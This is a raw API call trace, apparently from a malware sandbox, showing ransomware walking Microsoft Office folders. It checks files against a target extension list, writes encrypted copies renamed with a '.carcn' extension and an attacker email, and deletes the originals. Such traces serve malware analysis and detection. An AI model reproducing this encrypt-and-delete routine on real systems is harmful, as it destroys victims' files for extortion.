3 [0278.799] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0278.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0278.799] lstrlenW (lpString=".dbf") returned 4 [0278.799] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0278.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0278.799] lstrlenW (lpString=".1cd") returned 4 [0278.799] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0278.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0278.800] lstrlenW (lpString=".jpg") returned 4 [0278.800] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0278.800] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0278.800] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0278.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0278.802] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=21184) returned 1 [0278.802] CloseHandle (hObject=0x55c) returned 1 [0278.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0278.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0278.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0278.803] lstrlenW (lpString=".doc") returned 4 [0278.803] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0278.803] lstrlenW (lpString=".docx") returned 5 [0278.803] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0278.803] lstrlenW (lpString=".pdf") returned 4 [0278.803] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0278.803] lstrlenW (lpString=".xls") returned 4 [0278.803] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0278.803] lstrlenW (lpString=".xlsx") returned 5 [0278.803] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0278.803] lstrlenW (lpString=".ppt") returned 4 [0278.803] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0278.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0278.803] lstrlenW (lpString=".zip") returned 4 [0278.803] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0278.803] lstrlenW (lpString=".rar") returned 4 [0278.803] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0278.803] lstrlenW (lpString=".bz2") returned 4 [0278.803] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0278.803] lstrlenW (lpString=".7z") returned 3 [0278.803] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0278.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0278.804] lstrlenW (lpString=".dbf") returned 4 [0278.804] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0278.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0278.804] lstrlenW (lpString=".1cd") returned 4 [0278.804] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0278.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0278.804] lstrlenW (lpString=".jpg") returned 4 [0278.804] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0278.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0278.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0278.805] lstrlenW (lpString=".doc") returned 4 [0278.805] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0278.805] lstrlenW (lpString=".docx") returned 5 [0278.805] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0278.805] lstrlenW (lpString=".pdf") returned 4 [0278.805] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0278.806] lstrlenW (lpString=".xls") returned 4 [0278.806] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0278.806] lstrlenW (lpString=".xlsx") returned 5 [0278.806] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0278.806] lstrlenW (lpString=".ppt") returned 4 [0278.806] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0278.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0278.806] lstrlenW (lpString=".zip") returned 4 [0278.806] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0278.806] lstrlenW (lpString=".rar") returned 4 [0278.806] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0278.806] lstrlenW (lpString=".bz2") returned 4 [0278.806] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0278.806] lstrlenW (lpString=".7z") returned 3 [0278.806] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0278.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0278.806] lstrlenW (lpString=".dbf") returned 4 [0278.806] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0278.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0278.806] lstrlenW (lpString=".1cd") returned 4 [0278.806] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0278.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0278.806] lstrlenW (lpString=".jpg") returned 4 [0278.806] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0278.807] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0278.807] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0278.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0278.807] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19136) returned 1 [0278.808] CloseHandle (hObject=0x55c) returned 1 [0278.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0279.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0279.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0279.876] lstrlenW (lpString=".doc") returned 4 [0279.876] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.876] lstrlenW (lpString=".docx") returned 5 [0279.876] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0279.876] lstrlenW (lpString=".pdf") returned 4 [0279.876] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.876] lstrlenW (lpString=".xls") returned 4 [0279.877] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.877] lstrlenW (lpString=".xlsx") returned 5 [0279.877] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0279.877] lstrlenW (lpString=".ppt") returned 4 [0279.877] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0279.877] lstrlenW (lpString=".zip") returned 4 [0279.877] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.877] lstrlenW (lpString=".rar") returned 4 [0279.877] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.877] lstrlenW (lpString=".bz2") returned 4 [0279.877] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.877] lstrlenW (lpString=".7z") returned 3 [0279.877] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0279.877] lstrlenW (lpString=".dbf") returned 4 [0279.877] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0279.877] lstrlenW (lpString=".1cd") returned 4 [0279.878] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0279.878] lstrlenW (lpString=".jpg") returned 4 [0279.878] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0279.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0279.878] lstrlenW (lpString=".doc") returned 4 [0279.878] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.878] lstrlenW (lpString=".docx") returned 5 [0279.878] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0279.878] lstrlenW (lpString=".pdf") returned 4 [0279.878] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.878] lstrlenW (lpString=".xls") returned 4 [0279.878] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.878] lstrlenW (lpString=".xlsx") returned 5 [0279.878] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0279.878] lstrlenW (lpString=".ppt") returned 4 [0279.878] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0279.879] lstrlenW (lpString=".zip") returned 4 [0279.879] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.879] lstrlenW (lpString=".rar") returned 4 [0279.879] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.879] lstrlenW (lpString=".bz2") returned 4 [0279.879] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.879] lstrlenW (lpString=".7z") returned 3 [0279.879] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0279.879] lstrlenW (lpString=".dbf") returned 4 [0279.879] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0279.879] lstrlenW (lpString=".1cd") returned 4 [0279.879] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0279.879] lstrlenW (lpString=".jpg") returned 4 [0279.879] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.880] lstrcmpiW (lpString1=".msu", lpString2=".carcn") returned 1 [0279.880] lstrlenW (lpString="Windows6.1-KB2999226-x86.msu") returned 28 [0279.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0279.883] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=621986) returned 1 [0279.883] CloseHandle (hObject=0x530) returned 1 [0279.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 0x220 [0279.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0279.884] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.884] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0279.887] GetLastError () returned 0x0 [0279.887] ReadFile (in: hFile=0x530, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x97da2, lpOverlapped=0x0) returned 1 [0279.920] WriteFile (in: hFile=0x370, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x97db0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x97db0, lpOverlapped=0x0) returned 1 [0280.514] ReadFile (in: hFile=0x530, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.514] WriteFile (in: hFile=0x370, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10c, lpOverlapped=0x0) returned 1 [0280.517] SetEndOfFile (hFile=0x370) returned 1 [0281.237] CloseHandle (hObject=0x370) returned 1 [0281.237] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.237] SetEndOfFile (hFile=0x530) returned 1 [0281.654] CloseHandle (hObject=0x530) returned 1 [0281.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 1 [0281.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0281.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0281.656] lstrlenW (lpString=".doc") returned 4 [0281.656] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0281.656] lstrlenW (lpString=".docx") returned 5 [0281.656] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0281.656] lstrlenW (lpString=".pdf") returned 4 [0281.656] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0281.656] lstrlenW (lpString=".xls") returned 4 [0281.656] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0281.656] lstrlenW (lpString=".xlsx") returned 5 [0281.656] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0281.657] lstrlenW (lpString=".ppt") returned 4 [0281.657] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0281.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0281.657] lstrlenW (lpString=".zip") returned 4 [0281.657] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0281.657] lstrlenW (lpString=".rar") returned 4 [0281.657] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0281.657] lstrlenW (lpString=".bz2") returned 4 [0281.657] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0281.657] lstrlenW (lpString=".7z") returned 3 [0281.657] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0281.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0281.657] lstrlenW (lpString=".dbf") returned 4 [0281.657] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0281.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0281.657] lstrlenW (lpString=".1cd") returned 4 [0281.657] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0281.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0281.657] lstrlenW (lpString=".jpg") returned 4 [0281.657] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0281.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0281.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0281.658] lstrlenW (lpString=".doc") returned 4 [0281.658] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0281.658] lstrlenW (lpString=".docx") returned 5 [0281.658] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0281.658] lstrlenW (lpString=".pdf") returned 4 [0281.658] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0281.658] lstrlenW (lpString=".xls") returned 4 [0281.658] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0281.658] lstrlenW (lpString=".xlsx") returned 5 [0281.658] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0281.658] lstrlenW (lpString=".ppt") returned 4 [0281.658] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0281.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0281.658] lstrlenW (lpString=".zip") returned 4 [0281.658] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0281.658] lstrlenW (lpString=".rar") returned 4 [0281.658] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0281.658] lstrlenW (lpString=".bz2") returned 4 [0281.658] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0281.658] lstrlenW (lpString=".7z") returned 3 [0281.658] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0281.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0281.659] lstrlenW (lpString=".dbf") returned 4 [0281.659] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0281.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0281.659] lstrlenW (lpString=".1cd") returned 4 [0281.659] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0281.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0281.659] lstrlenW (lpString=".jpg") returned 4 [0281.659] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0281.659] lstrcmpiW (lpString1=".msu", lpString2=".carcn") returned 1 [0281.659] lstrlenW (lpString="Windows8.1-KB2999226-x86.msu") returned 28 [0281.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0281.661] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=595977) returned 1 [0281.661] CloseHandle (hObject=0x530) returned 1 [0281.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 0x220 [0281.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0281.661] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.661] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0281.663] GetLastError () returned 0x0 [0281.663] ReadFile (in: hFile=0x530, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x91809, lpOverlapped=0x0) returned 1 [0281.756] WriteFile (in: hFile=0x538, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x91810, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x91810, lpOverlapped=0x0) returned 1 [0281.772] ReadFile (in: hFile=0x530, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.773] WriteFile (in: hFile=0x538, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10c, lpOverlapped=0x0) returned 1 [0281.773] SetEndOfFile (hFile=0x538) returned 1 [0281.773] CloseHandle (hObject=0x538) returned 1 [0281.773] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.773] SetEndOfFile (hFile=0x530) returned 1 [0282.178] CloseHandle (hObject=0x530) returned 1 [0282.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 1 [0283.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0283.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0283.780] lstrlenW (lpString=".doc") returned 4 [0283.781] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0283.781] lstrlenW (lpString=".docx") returned 5 [0283.781] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 